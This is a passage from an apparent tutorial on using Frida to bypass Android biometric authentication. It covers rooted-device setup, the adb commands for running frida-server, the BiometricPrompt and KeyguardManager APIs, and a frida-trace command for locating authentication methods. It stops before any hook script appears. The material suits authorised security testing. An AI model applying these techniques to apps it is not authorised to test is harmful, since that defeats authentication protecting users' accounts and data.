    Frida allows security researchers to inject custom scripts into running processes, enabling real-time modification, introspection, and manipulation of application logic. For biometric bypass, this capability is invaluable, as we can intercept, modify, or even entirely skip the authentication flow by hooking into the underlying Android framework methods responsible for biometric verification.

    Prerequisites and Setup

    Before diving into the bypass techniques, ensure you have the following setup:

    A. Rooted Android Device or Emulator

    Frida requires root privileges to inject into system processes or target applications effectively. You can use a rooted physical device or an emulator (e.g., Android Studio AVD, Genymotion) configured with root access.

    B. ADB and Frida Installation

    You’ll need the Android Debug Bridge (ADB) installed on your host machine to interact with the Android device/emulator. Frida consists of two main components: the Frida client (Python library) on your host and the Frida server running on the target Android device.

    1. Download Frida Server: Visit Frida’s GitHub releases page and download the frida-server-x.x.x-android-ARCH executable corresponding to your device’s architecture (e.g., arm64, x86_64).

    2. Push and Run Frida Server: Push the server to your Android device, make it executable, and run it.

      adb push frida-server-x.x.x-android-arm64 /data/local/tmp/frida-serveradb shell"su -c 'chmod 755 /data/local/tmp/frida-server'"adb shell"su -c '/data/local/tmp/frida-server &'"
    3. Install Frida Tools: Install the Frida client tools on your host machine via pip.

      pip install frida-tools

    Understanding Android Biometric APIs

    To effectively bypass biometric authentication, we must understand the core Android APIs involved.

    A. BiometricPrompt

    Introduced in Android 9 (API level 28), BiometricPrompt is the recommended way for applications to integrate fingerprint, face, or iris authentication. It handles UI, sensor interaction, and security. The critical method for our purposes is authenticate(), which takes an AuthenticationCallback as an argument. This callback has methods like onAuthenticationSucceeded(), onAuthenticationFailed(), and onAuthenticationError().

    B. KeyguardManager (Older/Fallback)

    For older Android versions (API level 27 and below) or as a fallback for some applications, KeyguardManager might be used. Specifically, methods like createConfirmDeviceCredentialIntent() or authenticate(FingerprintManager.AuthenticationCallback callback, Handler handler) (though FingerprintManager itself is deprecated) could be relevant.

    C. Identifying Target Methods with frida-trace

    When analyzing a target application, you might not immediately know which specific biometric methods it employs. frida-trace is invaluable for dynamic API exploration. It can hook into all methods matching a pattern and log their calls, helping you identify the exact functions to target.

    frida-trace -U -f com.example.targetapp --no-pause -i "*authenticate*" -i "*biometric*"

    This command will run the target app and trace any method containing